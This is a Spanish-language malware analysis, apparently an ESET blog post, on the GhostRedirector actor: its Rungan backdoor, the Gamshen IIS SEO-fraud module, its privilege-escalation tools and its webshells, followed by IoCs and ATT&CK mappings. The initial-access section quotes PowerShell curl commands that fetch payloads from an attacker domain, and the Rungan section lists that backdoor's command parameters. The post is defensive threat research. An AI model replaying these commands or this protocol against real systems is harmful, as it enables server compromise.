El equipo de investigación de ESET ha identificado un nuevo actor de amenazas, al que hemos llamado GhostRedirector, que comprometió al menos 65 servidores Windows principalmente en Brasil, Tailandia y Vietnam. GhostRedirector utilizó dos herramientas personalizadas no documentadas previamente: un backdoor pasivo en C++ al que denominamos Rungan, y un módulo malicioso de Internet Information Services (IIS) al que llamamos Gamshen.

Mientras que Rungan tiene la capacidad de ejecutar comandos en un servidor comprometido, el propósito de Gamshen es proporcionar fraude SEO (Search Engine Optimization) como servicio, es decir, manipular los resultados de los motores de búsqueda, aumentando el ranking de páginas de un sitio web objetivo configurado. Aunque Gamshen sólo modifica la respuesta cuando la solicitud procede de Googlebot -es decir, no sirve contenido malicioso ni afecta de otro modo a los visitantes habituales de los sitios web-, la participación en el esquema de fraude SEO puede dañar la reputación del sitio web anfitrión comprometido al asociarlo con técnicas SEO fraudulentas.

IIS (Internet Information Services) es el software de servidor web Windows de Microsoft, que tiene una arquitectura modular que admite dos tipos de extensiones: nativa (C++ DLL) y gestionada (.NET assembly). Existen diferentes tipos de malware que pueden abusar de esta tecnología; nuestro artículo técnico 2021 Anatomía del malware IIS nativo ofrece una visión profunda de los tipos de amenazas IIS nativas y su arquitectura. Gamshen entra en la categoría de troyano con el objetivo principal de facilitar el fraude SEO, similar a IISerpent, que documentamos anteriormente.

Además de Rungan y Gamshen, GhostRedirector también utiliza una serie de otras herramientas personalizadas, así como los exploits públicamente conocidos EfsPotato y BadPotato, para crear un usuario con privilegios en el servidor que puede utilizarse para descargar y ejecutar otros componentes maliciosos con privilegios superiores, o utilizarse como alternativa en caso de que el backdoor Rungan u otras herramientas maliciosas se eliminen del servidor comprometido. Creemos, con un nivel de confianza medio, que detrás de estos ataques se encuentra un actor de amenazas alineado con China. En este blogpost ofrecemos información sobre el arsenal utilizado por GhostRedirector para comprometer a sus víctimas.

Puntos clave de este blogpost:
  • Hemos observado al menos 65 servidores Windows comprometidos en junio de 2025.
  • Las víctimas se encuentran principalmente en Brasil, Tailandia y Vietnam.
  • Las víctimas no están relacionadas con un sector específico, sino con varios, como seguros, sanidad, comercio minorista, transporte, tecnología y educación.
  • GhostRedirector ha desarrollado un nuevo backdoor C++, Rungan, capaz de ejecutar comandos en el servidor de la víctima.
  • GhostRedirector ha desarrollado un módulo IIS nativo malicioso, Gamshen, que puede realizar fraude SEO; creemos que su propósito es promocionar artificialmente varios sitios web de juegos de azar.
  • GhostRedirector se basa en exploits públicos como BadPotato o EfsPotato para escalar privilegios en servidores comprometidos.
  • Basándonos en diversos factores, llegamos a la conclusión, con un nivel de confianza medio, de que detrás de estos ataques se encuentra un actor de amenazas desconocido hasta ahora y alineado con China. Lo hemos denominado GhostRedirector.

Atribución

No hemos podido atribuir este ataque a ningún grupo conocido, por lo que hemos acuñado el nuevo nombre GhostRedirector para agrupar todas las actividades documentadas en esta entrada de blog. Estas actividades comenzaron en diciembre de 2024, pero hemos podido descubrir otras muestras relacionadas que nos llevan a creer que GhostRedirector lleva activo al menos desde agosto de 2024.

GhostRedirector cuenta con un arsenal que incluye el backdoor pasivo C++ Rungan, el troyano malicioso IIS Gamshen y una variedad de otras utilidades. Hemos agrupado estas herramientas por:

  • su presencia en el mismo servidor comprometido en el mismo periodo de tiempo,
  • un servidor compartido, y
  • similitudes en las rutas PDB de varias herramientas GhostRedirector, como se explica a continuación.

Creemos con confianza media que GhostRedirector es un actor de amenazas alineado con China, basándonos en los siguientes factores:

  • varias muestras de herramientas de GhostRedirector tienen cadenas chinas codificadas,
  • en el ataque se utilizó un certificado de firma de código emitido por una empresa china, y
  • una de las contraseñas de los usuarios creados por GhostRedirector en el servidor comprometido contiene la palabra huang, que en chino significa amarillo.

GhostRedirector no es el primer caso conocido de un actor de amenazas alineado con China que se dedica al fraude SEO a través de módulos IIS maliciosos. El año pasado, Cisco Talos publicó un blog sobre un actor de amenazas alineado con China llamado DragonRank que lleva a cabo fraude SEO. En ambos ataques hay cierto solapamiento en la geolocalización de las víctimas (Tailandia, India y Países Bajos) y en los sectores (sanidad, transporte y TI). Sin embargo, es probable que se tratara de ataques oportunistas, que explotaban el mayor número posible de servidores vulnerables, en lugar de dirigirse a un conjunto específico de entidades. Aparte de estas similitudes, no tenemos motivos para creer que DragonRank y GhostRedirector estén relacionados, por lo que rastreamos estas actividades por separado.

Victimología

La Figura 1 muestra un mapa de calor de los países afectados, combinando datos de dos fuentes:

  • La telemetría de ESET, donde detectamos estos ataques entre diciembre de 2024 y abril de 2025, y
  • nuestro escaneo de Internet de junio de 2025, que ejecutamos para comprender mejor la escala del ataque y que nos permitió identificar víctimas adicionales.

Notificamos el compromiso a todas las víctimas que identificamos a través de nuestro escaneado de Internet.

Figure 1 - Countries where victims were detected
Figura 1. Países en los que se detectaron víctimas

Con toda la información recopilada, descubrimos que al menos 65 servidores Windows se habían visto comprometidos en todo el mundo. La mayoría de los servidores afectados se encuentran en Brasil, Perú, Tailandia, Vietnam y Estados Unidos. Nótese que la mayoría de los servidores comprometidos ubicados en EE.UU. parecen haber sido alquilados a empresas con sede en países de la lista anterior. Creemos que GhostRedirector estaba más interesado en atacar a víctimas de Sudamérica y el sur de Asia.

Además, observamos un pequeño número de casos en:

  • Canadá,
  • Finlandia,
  • India,
  • países Bajos,
  • filipinas y
  • Singapur.

GhostRedirector no parece estar interesado en un vertical o sector concreto; hemos visto víctimas en sectores como la educación, la sanidad, los seguros, el transporte, la tecnología y el comercio minorista.

Acceso inicial

Basándonos en la telemetría de ESET, creemos que GhostRedirector obtiene acceso inicial a sus víctimas explotando una vulnerabilidad, probablemente una inyección SQL. A continuación, utiliza PowerShell para descargar varias herramientas maliciosas, todas desde el mismo servidor, 868id[.]com. En algunos casos, hemos visto a los atacantes aprovechar un LOLBin diferente, CertUtil, para el mismo propósito.

Esta conjetura se apoya en nuestra observación de que la mayoría de las ejecuciones no autorizadas de PowerShell se originaron a partir del binario sqlserver.exe, que contiene un procedimiento almacenado xp_cmdshell que puede utilizarse para ejecutar comandos en una máquina.

Los siguientes son ejemplos de comandos que detectamos que se ejecutaban en los servidores comprometidos:

  • cmd.exe /d /s /c " powershell curl https://xzs.868id[.]com/EfsNetAutoUser_br.exe -OutFile C:\ProgramData\EfsNetAutoUser_br.exe"
  • cmd.exe /d /s /c " powershell curl http://xz.868id[.]com/EfsPotato_sign.exe -OutFile C:\ProgramData\EfsPotato_sign.exe"
  • cmd.exe /d /s /c "powershell curl https://xzs.868id[.]com/link.exe -OutFile C:\ProgramData\link.exe"
  • powershell curl https://xzs.868id[.]com/iis/br/ManagedEngine64_v2.dll -OutFile C:\ProgramData\Microsoft\DRM\logManagedEngine64.dll
  • powershell curl https://xzs.868id[.]com/iis/IISAgentDLL.dll -OutFile C:\ProgramData\Microsoft\DRM\log\miniscreen.dll

También descubrimos que GhostRedirector instaló GoToHTTP en el servidor web infectado, después de descargarlo del mismo servidor. GoToHTTP es una herramienta benigna que permite establecer una conexión remota a la que se puede acceder desde un navegador.

GhostRedirector utilizó el directorio C:\ProgramData\ para instalar su malware, en particular para el backdoor C++ y el troyano IIS utilizan el directorio C:\ProgramData\Microsoft\DRM\log.

Resumen del ataque

En la Figura 2 se muestra un resumen del ataque. Los atacantes comprometen un servidor Windows, descargan y ejecutan varias herramientas maliciosas: una herramienta de escalada de privilegios, malware que lanza múltiples webshells, el backdoor pasivo C++ Rungan, o el troyano IIS Gamshen. El objetivo de las herramientas de escalada de privilegios es crear un usuario privilegiado en el grupo de administradores, de modo que GhostRedirector pueda aprovechar esta cuenta para ejecutar operaciones privilegiadas, o como alternativa en caso de que el grupo pierda el acceso al servidor comprometido.

Figure 2 - Attack overview
Figura 2. Resumen del ataque
Visión general del ataque

Exploit públicos realizando escalada de privilegios

Como parte de su arsenal, GhostRedirector creó varias herramientas que aprovechan la táctica de escalada local de privilegios(LPE), probablemente basadas en los exploits públicos EfsPotato y BadPotato. Casi todas las muestras analizadas estaban ofuscadas con .NET Reactor, con múltiples capas de ofuscación. Algunas de las muestras estaban firmadas válidamente con un certificado de firma de código emitido por TrustAsia RSA Code Signing CA G3, a 深圳市迪元素科技有限公司 (Shenzhen Diyuan Technology Co., Ltd.), y con una huella digital de BE2AC4A5156DBD9FFA7A9F053F8FA4AF5885BE3C.

El objetivo principal de estas muestras era crear o modificar una cuenta de usuario en el servidor comprometido y añadirla al grupo Administradores.

Durante nuestro análisis, extrajimos de las muestras analizadas los siguientes nombres de usuario que se utilizaron en la creación de estos usuarios administradores maliciosos.

  • MysqlServiceEx
  • MysqlServiceEx2
  • Admin

La figura 3 muestra el código descompilado utilizado por estas muestras para crear un usuario tras la explotación exitosa de LPE. La contraseña se ha eliminado por motivos de seguridad.

Figure 3 - Portion of decompiled code that creates a new user on a victim server
Figura 3. Porción de código descompilado que crea un nuevo usuario en un servidor víctima

Como se puede ver en la Figura 3, estas herramientas de escalada de privilegios utilizan una clase personalizada de C# llamada CUserHelper. Esta clase se implementa en una DLL denominada Common.Global.DLL (SHA-1: 049C343A9DAAF3A93756562ED73375082192F5A8), que hemos denominado Comdai y que estaba incrustada en las muestras analizadas. Creemos que Comdai fue creado por los mismos desarrolladores que el resto del arsenal de GhostRedirector, basándonos en el patrón compartido en sus respectivas rutas PDB - véase la subcadena x5 repetida como se muestra en la Tabla 1, que es compartida entre Rungan, Gamshen y las herramientas de escalada de privilegios.

Tabla 1. Cadenas PDB Cadenas PDB recopiladas de las herramientas GhostRedirector

Sample SHA1 Sample type PDBs
049C343A9DAAF3A93756562ED73375082192F5A8 Comdai library F:\x5\netTools\oMain\Common.Global\obj\Release\Common.Global.pdb
28140A5A29EBA098BC6215DDAC8E56EACBB29B69 Rungan, C++ backdoor F:\x5\AvoidRandomKill-main\x64\Release\IISAgentDLL.pdb
871A4DF66A8BAC3E640B2D1C0AFC075BB3761954 Gamshen, IIS trojan F:\x5\AvoidRandomKill-main\Release\ManagedEngine64.pdb
371818BDC20669DF3CA44BE758200872D583A3B8 Tool to create a new user E:\x5\netTools\WinSystem\obj\Release\uedit32_sign.pdb

La Tabla 2 proporciona una visión general de las clases importantes implementadas en Comdai que son utilizadas por las diversas herramientas de escalada de privilegios de GhostRedirector, junto con la descripción del comportamiento de la clase. Nótese la clase ExeHelper, que proporciona una función para ejecutar un archivo llamado link.exe - GhostRedirector utilizó el mismo nombre de archivo para desplegar la herramienta GoToHTTP.

Obsérvense también las capacidades de tipo backdoor, que incluyen comunicación de red, ejecución de archivos, listado de directorios y manipulación de servicios y claves del registro de Windows. Aunque no hemos observado que estos métodos sean utilizados por ningún componente conocido de GhostRedirector, esto demuestra que Comdai es una herramienta versátil que puede soportar varias fases del ataque.

Tabla 2. Clases implementadas en Comdai Clases implementadas en Comdai

C# class Description
AES Encrypts/Decrypts AES in ECB mode.
Key: 030201090405060708091011121315
CUserHelper Lists users on a compromised server.
Creates a user with specified credentials and adds it into a group name also specified by an argument; by default it uses the Administrators group.
ExeHelper Used to execute a binary named link.exe. This name was used by the attackers for the GoToHTTP binary.
HttpHelper Can perform through different methods, GET and POST requests, with an unknown purpose, to a hardcoded URL – https://www.cs01[.]shop.
MsgData Contains only attributes, used by the class NodejsTX to deserialize a JSON object.
MyDll Invokes methods from an unknown DLL named MyDLL.dll.
NodejsTX Provides a method to communicate with another malicious component via pipes; the pipe is named salamander_pipe, which can receive parameters to create a specified user who is then added to the administrators group. This user creation is achieved by invoking a method from the CUserHelper class.
RegeditHelper Contains a method for reading the value of a specified windows registry key.
ScanfDirectory Contains methods for listing the contents of a specified directory.
ServiceHelper Contains methods to restart a specified service.
SystemHelper Contains methods to execute a binary or execute commands via ProcessStartInfo class. The binary or commands are provided to ProcessStartInfo as arguments.
UserStruct Contains only attributes, username – string
Groups – list<string>
Attributes are used by class CUserHelper for listing users.

Algunas excepciones a la regla

Descubrimos una muestra (SHA-1: 21E877AB2430B72E3DB12881D878F78E0989BB7F) que utilizaba el mismo certificado, subida a VirusTotal en agosto de 2024, que creemos que está relacionada con el arsenal de GhostRedirector, aunque no vimos que se utilizara durante esta campaña. Esta suposición se basa en el comportamiento de la muestra, que intenta abrir un archivo de texto y enviar su contenido a una URL codificada. Para ello, la muestra contiene una DLL de Comdai incrustada e invoca la clase HttpHelper de Comdai C#, que tiene una URL codificada que es https://www.cs01[.]shop, el mismo dominio mencionado en la Tabla 2.

También descubrimos algunas herramientas de escalada de privilegios que difieren un poco del comportamiento mencionado anteriormente.

Por ejemplo, en un caso (SHA-1: 5A01981D3F31AF47614E51E6C216BED70D921D60), en lugar de crear un nuevo usuario, cambia la contraseña de un usuario Guest existente por una codificada en el malware y luego, utilizando la técnica de secuestro de RID, intenta añadir este usuario a los grupos de administradores.

En otro caso (SHA-1: 9DD282184DDFA796204C1D90A46CAA117F46C8E1), la herramienta no sólo crea un nuevo usuario administrador, sino que también instala múltiples webshells en una ruta específica en los servidores de la víctima, proporcionada manualmente por GhostRedirector como argumento a la herramienta.

Estas webshells se incrustan en los recursos de la muestra en texto claro, y los nombres son hardcoded; los nombres que vimos utilizados son:

  • C1.php
  • Cmd.aspx
  • Error.aspx
  • K32.aspx
  • K64.aspx
  • LandGrey.asp

Zunput, un recopilador de información de sitios web más dropper de webshell

Otra herramienta interesante utilizada por GhostRedirector tenía el nombre de archivo SitePuts.exe. Esta muestra (SHA-1: EE22BA5453ED577F8664CA390EB311D067E47786), a la que hemos llamado Zunput, también está desarrollada con .NET Framework y firmada con el certificado mencionado anteriormente; lee el sistema de configuración de IIS en busca de sitios web configurados y obtiene la siguiente información sobre ellos

  • ruta física en el servidor,
  • nombre, y
  • para cada sitio, los siguientes atributos:

    protocolo

    dirección IP, y

    nombre de host

Una vez recopilada la información, Zunput comprueba la existencia de la ruta física en el servidor y también verifica que el directorio contenga al menos un archivo con la extensión .php,.aspx o .asp. De esta forma, Zunput sólo se dirige a sitios web activos capaces de ejecutar contenido dinámico - sólo en esos directorios deja caer las webshells incrustadas. Las webshells se incrustan en los recursos de la muestra y para las fechas de cada webshell (creación, modificado, accedido), el malware utiliza la fecha de un archivo existente del directorio.

Las webshells están escritas en ASP, PHP y JavaScript, y los nombres utilizados se seleccionan aleatoriamente de la siguiente lista:

  • Xml
  • Ajax
  • Sync
  • Loadapi
  • Loadhelp
  • Código
  • Jsload
  • Loadcss
  • Cargarjs
  • Pop3
  • Imap
  • Api

Extensiones utilizadas para las webshells:

  • .cer
  • .pjp
  • .asp
  • .aspx

La información recopilada durante la ejecución de Zunput se guarda en un archivo llamado log.txt (véase un ejemplo en la Figura 4) en el directorio desde el que se ejecutó. Esta información no es exfiltrada automáticamente por Zunput, pero puede ser obtenida por los atacantes a través de varios métodos; uno de ellos puede ser a través del webshell desplegado mencionado anteriormente.

Figure 4 - Example of saved content of log txt
Figura 4. Ejemplo de contenido guardado de log.txt donde 分割线 máquina se traduce como Línea divisoria

Payloads finales

Rungan, un backdoor C++ pasivo

Rungan (SHA-1: 28140A5A29EBA098BC6215DDAC8E56EACBB29B69) es un backdoor pasivo C/C++ que hemos visto instalado en C:\ProgramData\Microsoft\DRM\log\miniscreen.dll.

Este backdoor utiliza AES en modo CBC para el descifrado de cadenas. se utiliza 030201090405060708090A0B0C0D0E0F para el IV y la clave, y basándonos en la ruta PDB del malware F:\x5\AvoidRandomKill-main\x64\Release\IISAgentDLL.pdb, creemos que GhostRedirector reutiliza la implementación AES del repositorio AvoidRandomKill.

La principal funcionalidad de este backdoor es registrar una URL hardcoded en texto plano http://+:80/v1.0/8888/sys.html en el servidor comprometido, saltándose IIS abusando de la API del servidor HTTP. A continuación, el backdoor espera una solicitud que coincida con esa URL, luego analiza y ejecuta los comandos recibidos en el servidor comprometido.

Se pueden establecer URL adicionales en un archivo de configuración opcional llamado C:\Windows\Microsoft.NET\Framework64\v2.0.50727\1033\vbskui.dll. Rungan escuchará todas las peticiones entrantes que coincidan con los patrones configurados, y la configuración puede actualizarse mediante un comando backdoor. Para activar el backdoor, cualquier petición HTTP entrante debe contener una combinación específica de parámetros y valores, que están codificados en Rungan.

Una vez que se cumple esta comprobación, Rungan utiliza la acción de parámetros para determinar el comando backdoor, y utiliza los datos del cuerpo de la petición HTTP como parámetros del comando. No se utiliza cifrado o codificación en el protocolo C&C. Las capacidades más notables son la creación de un nuevo usuario o la ejecución de comandos en el servidor de la víctima; en la Tabla 3 se muestra una lista completa de los comandos backdoor.

Tabla 3.Comandos backdoors de Rungan

Parameter Body Description Response
mkuser user=<USERNAME>&pwd=<PASSWORD>&groupname=<GROUPNAME> Creates the specified user on the compromised server using the NetUserAdd Windows API. Status code of the operation.
listfolder path=<A_PATH> This looks unfinished: it collects information from selected path but doesn’t exfiltrate it. N/A
addurl url=<URL_1>|<URL_2> Registers URLs the backdoor will listen on. Can be more than one separated with |. The URL is also added to the configuration file. If a URL fails to register, the response will be Failed: <URL>, otherwise All Ok.
cmd cmdpath=<CMD_PATH>&mingl=<COMMAND_TO_EXECUTE> Executes a command on the victim’s server using pipes and the CreatePorcessA API. Command output.

La Figura 5 y la Figura 6 muestran diferentes ejemplos de peticiones realizadas al malware durante un análisis dinámico utilizando la herramienta postman en un entorno simulado.

Figure 5 - Executing commands on a testing server
Figura 5. Ejecución de comandos en un servidor de pruebas
Figure 6 - Adding a user through the malware on a testing server
Figura 6. Adición de un usuario a través del malware en un servidor de pruebas

Gamshen, módulo IIS malicioso

Desarrollado como una DLL C/C++, Gamshen es un módulo IIS nativo malicioso. La principal funcionalidad de este malware es interceptar las peticiones realizadas al servidor comprometido desde el rastreador del motor de búsqueda Googlebot y, sólo en ese caso, modificar la respuesta legítima del servidor. La respuesta se modifica en función de los datos solicitados dinámicamente al servidor de C&C de Gamshen. De este modo, GhostRedirector intenta manipular el ranking de búsqueda en Google de un sitio web específico de terceros, utilizando técnicas de SEO manipuladoras y turbias, como la creación de backlinks artificiales desde el sitio web legítimo y comprometido hacia el sitio web objetivo. Anteriormente documentamos un caso de un troyano IIS que utilizaba tácticas similares: véase IISerpent: Malware-driven SEO fraud as a service.

Es importante mencionar que un usuario normal que visite el sitio web afectado no vería ningún cambio y no se vería afectado por el comportamiento malicioso, ya que Gamshen no desencadena ninguna de sus actividades maliciosas en peticiones de visitantes normales.

La figura 7 muestra cómo un módulo malicioso que participa en el esquema de fraude SEO de IIS modifica la respuesta legítima de un servidor comprometido cuando se realiza una solicitud desde el rastreador de Google, también conocido como Googlebot.

Figure 7 - Overview of an SEO fraud scheme
Figura 7. Visión general de un esquema de fraude SEO

Para ello, los atacantes han implementado su propio código malicioso para los siguientes manejadores de eventos de IIS:

  • OnBeginRequest
  • OnPreExecuteRequestHandler
  • OnPostExecuteRequestHandler
  • OnSendResponse

Cuando el servidor comprometido recibe una petición HTTP, la petición pasa a través de la cadena de procesamiento de peticiones de IIS, que activa estos controladores en varios pasos del proceso - en particular, el controlador OnSendResponse se activa justo antes de que el servidor comprometido envíe la respuesta HTTP. Dado que Gamshen se instala como un módulo IIS, intercepta automáticamente cada solicitud HTTP entrante en estos pasos y realiza tres acciones.

En primer lugar, realiza una serie de validaciones para filtrar únicamente las peticiones HTTP de interés:

  • La solicitud debe proceder de un rastreador de Google: o bien el encabezado User-Agent contiene la cadena Googlebot, o bien el Referer contiene la cadena google.com.
  • El método HTTP no debe ser POST.
  • El recurso solicitado no debe ser una imagen, una hoja de estilo o un recurso estático similar, es decir, no debe tener ninguna de las siguientes extensiones: .jpg, .resx, .png, .jpeg, .bmp, .gif, .ico, .css o .js. Esto es para evitar romper la funcionalidad de la interfaz de usuario.
  • La URL debe contener la cadena android_ o coincidir con cualquiera de las siguientes expresiones regulares

    [/]?(android|plays|articles|details|iosapp|topnews|joga)_([0-9_]{6,20})(/|\.\\w+)?

    [/]?(android|plays|articles|details|iosapp|topnews|joga)_([a-zA-Z0-9_]{6,8})\\/([a-zA-Z0-9_]{6,20})(/|\\.\\w+)?

    [/]?(android|plays|articles|details|iosapp|topnews|joga)\/([0-9_]{6,20})(/|\.\w+)?

    [/]?(android|plays|articles|details|iosapp|topnews|joga)\\/([a-zA-Z]{8,10})(/|\.\\w+)?

    [/]?([a-zA-Z0-9]{6,8})\\/([a-zA-Z0-9]{6,8})(/|\\.phtml|\\.xhtml|\\.phtm|\\.shtml)

    [/]?([a-zA-Z0-9_]{14})(/|\\.html|\\.htm)

    [/]?([a-zA-Z0-9]{6})\\/([a-zA-Z0-9]{8})(/|\\.html|\\.htm)

    [/]?([a-z0-9]{6})\\\\\ {8}(/\-zA-Z0-9] {8}(/\-zA-Z0-9]{8}m)

En segundo lugar, Gamshen modifica la respuesta destinada al rastreador del motor de búsqueda con datos obtenidos de su propio servidor de C&C, brproxy.868id[.]com. Hemos observado que se utilizan tres URL con este fin:

  • https://brproxy.868id[.]com/index_base64.php?<ORIGINAL_URL>
  • https://brproxy.868id[.]com/tz_base64.php?<ORIGINAL_URL>
  • https://brproxy.868id[.]com/url/index_base64.php

En todos los casos, se utiliza la siguiente cadena User-Agent codificada: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html). Se espera una respuesta codificada en base64, que luego se descodifica e inyecta en la respuesta HTTP destinada al rastreador del motor de búsqueda.

Finalmente, en el último paso de la cadena de procesamiento de solicitudes, justo antes de que se envíe la respuesta HTTP, el controlador de eventos OnSendResponse verifica la respuesta para estas solicitudes de rastreo. Si la respuesta tiene el código de estado HTTP 404, es decir, Gamshen no ha podido obtener los datos maliciosos de su servidor de C&C, entonces realiza una redirección a un servidor de C&C diferente: http://gobr.868id[.]com/tz.php.

No pudimos obtener una respuesta de brproxy.868id[.]com o gobr.868id[.]com, pero creemos que los datos apoyan técnicas de SEO turbias -como el relleno de palabras clave, la inserción de backlinks maliciosos- o, en el caso de la redirección, hacer que el motor de búsqueda asocie el sitio web comprometido con el sitio web objetivo de terceros, envenenando así el índice de búsqueda.

Sin embargo, pudimos pivotar sobre esos dominios en VirusTotal y encontrar imágenes relacionadas - en este caso, imágenes publicitando una aplicación de juegos de azar para usuarios de habla portuguesa. Creemos que este sitio web es el beneficiario del esquema de fraude SEO, facilitado por este módulo IIS malicioso - Gamshen probablemente intenta comprometer tantos sitios web como sea posible y abusar de su reputación para dirigir tráfico a este sitio web de terceros.

La Figura 8 y la Figura 9 muestran dos imágenes potencialmente utilizadas por GhostRedirector en su esquema de fraude SEO.

Figure 8 - A gambling website likely benefiting from the SEO fraud scheme
Figura 8. Un sitio web de juegos de azar que probablemente se beneficia del esquema de fraude SEO.

Figure 9 - A gambling website likely benefiting from the SEO fraud scheme
Figura 9. Un sitio web de juegos de azar que probablemente se beneficia del esquema de fraude SEO.

Conclusión

En este blogpost, hemos presentado un actor de amenazas previamente desconocido y alineado con China, GhostRedirector, y su kit de herramientas para comprometer y abusar de servidores Windows. Además de permitir la ejecución remota de comandos en los servidores comprometidos, GhostRedirector también despliega un módulo IIS malicioso, Gamshen, diseñado para manipular los resultados de búsqueda de Google mediante tácticas de SEO fraudulentas. Gamshen abusa de la credibilidad de los sitios web alojados en el servidor infectado para promocionar un sitio web de terceros dedicado al juego, que podría ser un cliente de pago que participa en un fraude de SEO como servicio.

GhostRedirector también demuestra persistencia y resistencia operativa al desplegar múltiples herramientas de acceso remoto en el servidor comprometido, además de crear cuentas de usuario falsas, todo ello para mantener el acceso a largo plazo a la infraestructura comprometida.

Las recomendaciones de mitigación pueden encontrarse en nuestro exhaustivo libro blanco. Para cualquier consulta, o para realizar envíos de muestras relacionadas con el tema, póngase en contacto con nosotros en threatintel@eset.com.

IoCs

En nuestro repositorio de GitHub encontrará una lista completa de indicadores de compromiso (IoC) y muestras.

Archivos

SHA-1 Filename Detection Description
EE22BA5453ED577F8664CA390EB311D067E47786 SitePut.exe MSIL/Agent.FEZ Zunput, information collector and webshell installer.
677B3F9D780BE184528DE5967936693584D9769A EfsNetAutoUser.exe MSIL/HackTool.Agent.QJ A custom tool using the EfsPotato exploit to create a new user on the compromised server.
5D4D7C96A9E302053BDFAF2449F9A2AB3C806E63 NetAutoUser.exe MSIL/AddUser.S A custom tool using the BadPotato exploit to create a new user on the compromised server.
28140A5A29EBA098BC6215DDAC8E56EACBB29B69 miniscreen.dll Win64/Agent.ELA Rungan, a passive C++ backdoor.
371818BDC20669DF3CA44BE758200872D583A3B8 auto.exe Generik.KJWBIPC A tool to create a new user on the compromised server.
9DD282184DDFA796204C1D90A46CAA117F46C8E1 auto_sign.exe MSIL/Agent.XQL A tool to create a new user or deploy webshells on the compromised server.
87F354EAA1A6ED5AE51C4B1A1A801B6CF818DAFC EfsNetAutoUser.exe MSIL/HackTool.Agent.QJ A custom tool using the EfsPotato exploit to create a new user on the compromised server.
5A01981D3F31AF47614E51E6C216BED70D921D60 DotNet4.5.exe MSIL/AddUser.S Custom tool using BadPotato exploit to elevate privileges of an existing user.
6EBD7498FC3B744CED371C379BA537077DD97036 NetAUtoUser_sign.exe MSIL/AddUser.S Custom tool using BadPotato exploit to elevated privileges of an existing user.
0EE926E29874324E52DE816B74B12069529BB556 link.exe Win64/RemoteAdmin.GotoHTTP. A potentially unsafe application GoToHTTP tool.
373BD3CED51E19E88876B80225ECA65A5C01413F N/A PHP/Webshell.NWE Webshell.
5CFFC4B3B96256A45FB45056AE0A9DC76329C25A N/A ASP/Webshell.MP Webshell.
B017CEE02D74C92B2C65517101DC72AFA7D18F16 N/A PHP/Webshell.OHB Webshell.
A8EE056799BFEB709C08D0E41D9511CED5B1F19D N/A ASP/Webshell.UV Webshell.
C4681F768622BD613CBF46B218CDA06F87559825 N/A ASP/Webshell.KU Webshell.
E69E4E5822A81F68107B933B7653C487D055C51B N/A ASP/Webshell.UZ Webshell.
A3A55E4C1373E8287E4E4D5D3350AC665E1411A7 N/A ASP/Webshell.UY Webshell.
E6E4634CE5AFDA0688E73A2C21A2ECDABD5E155D N/A ASP/Webshell.UY Webshell.
5DFC2D0858DD7E811CD19938B8C28468BE494CB6 N/A ASP/Webshell.UX Webshell.
08AB5CC8618FA593D2DF91900067DB464DC72B3E ManagedEngine32_v2.dll Win32/BadIIS.AG Gamshen, a malicious IIS module.
871A4DF66A8BAC3E640B2D1C0AFC075BB3761954 ManagedEngine64_v2.dll Win64/BadIIS.CY Gamshen, a malicious IIS module.
049C343A9DAAF3A93756562ED73375082192F5A8 N/A MSIL/Agent.FFZ Comdai, a malicious multipurpose DLL used to create a malicious user.

Red

IP Domain Hosting provider First seen Details
N/A xzs.868id[.]com N/A 2024‑12‑03 GhostRedirector staging server, hosted on Cloudflare.
104.233.192[.]1 xz.868id[.]com PEG TECH INC 2024‑12‑03 GhostRedirector staging server.
104.233.210[.]229 q.822th[.]com
www.881vn[.]com
PEG TECH INC 2023‑10‑06 GhostRedirector staging server.
N/A gobr.868id[.]com N/A 2024‑08‑25 Gamshen C&C server, hosted on Cloudflare.
N/A brproxy.868id[.]com N/A 2024‑08‑25 Gamshen C&C server, hosted on Cloudflare.
43.228.126[.]4 www.cs01[.]shop XIMBO Internet Limited 2024‑04‑01 Comdai C&C server.
103.251.112[.]11 N/A IRT‑HK‑ANS N/A GhostRedirector staging server.

Técnicas ATT&CK de MITRE

Esta tabla se ha elaborado utilizando la versión 17 del marco MITRE ATT&CK.

Tactic ID Name Description
Resource Development T1588.002 Obtain Capabilities: Tool GhostRedirector uses .NET Reactor to obfuscate its tools, and used EfsPotato and BadPotato to develop custom privilege escalation tools.
T1587.001 Develop Capabilities: Malware GhostRedirector develops its own malware
T1608.006 Stage Capabilities: SEO Poisoning GhostRedirector uses SEO poisoning to manipulate search results and drive traffic to a third-party website.
T1583.001 Acquire Infrastructure: Domains GhostRedirector uses malicious domains for hosting payloads and for its C&C servers.
T1583.004 Acquire Infrastructure: Server GhostRedirector leverages Cloudflare on its infrastructure.
T1608.001 Stage Capabilities: Upload Malware GhostRedirector has staged Rungan and Gamshen on attacker-controlled servers.
T1608.002 Stage Capabilities: Upload Tool GhostRedirector has staged various malicious and legitimate tools on attacker-controlled servers.
T1588.003 Obtain Capabilities: Code Signing Certificates GhostRedirector obtained a certificate for signing its tools, like those for privilege escalation.
Initial Access T1190 Exploit Public-Facing Application GhostRedirector exploits an unknown SQL injection vulnerability on the victim’s server.
Execution T1106 Native API GhostRedirector may use APIs such as HttpInitialize and HttpAddUrl for registering a URL.
T1059.001 Command and Scripting Interpreter: PowerShell GhostRedirector uses PowerShell interpreter to download malware.
T1059.003 Command and Scripting Interpreter: Windows Command Shell GhostRedirector can execute cmd.exe commands to download malware.
T1559 Inter-Process Communication Comdai can create a pipe to communicate and receive information from another process.
Persistence T1546 Event Triggered Execution Gamshen is loaded by the IIS Worker Process (w3wp.exe) when the IIS server receives an inbound HTTP request.
Privilege Escalation T1134 Access Token Manipulation GhostRedirector can manipulate tokens to perform a local privilege escalation.
T1112 Modify Registry GhostRedirector can modify a Windows registry key to perform RID hijacking.
Defense Evasion T1027 Obfuscated Files or Information GhostRedirector obfuscates its local privilege escalation tools using .NET Reactor.
T1027.009 Obfuscated Files or Information: Embedded Payloads GhostRedirector embedded webshells into its payloads like Zunput to be dropped on compromised server.
T1140 Deobfuscate/Decode Files or Information GhostRedirector uses AES in CBC mode to decrypt strings in the backdoor Rungan.
Discovery T1083 File and Directory Discovery GhostRedirector can use Zunput to list directory content on a victim’s server.
Command and Control T1105 Ingress Tool Transfer GhostRedirector can abuse the tool certutil.exe to download malware.
T1219 Remote Access Software GhostRedirector may use the GoToHTTP tool for connecting remotely to victims.
T1071.001 Application Layer Protocol: Web Protocols GhostRedirector relies on HTTP to communicate with the backdoor Rungan.
T1008 Fallback Channels GhostRedirector can deploy the tool GoToHTTP or create malicious users on the compromised server to maintain access.
Impact T1565 Data Manipulation GhostRedirector can modify the response of a compromised server intended for the Google crawler, in attempts to influence search results order.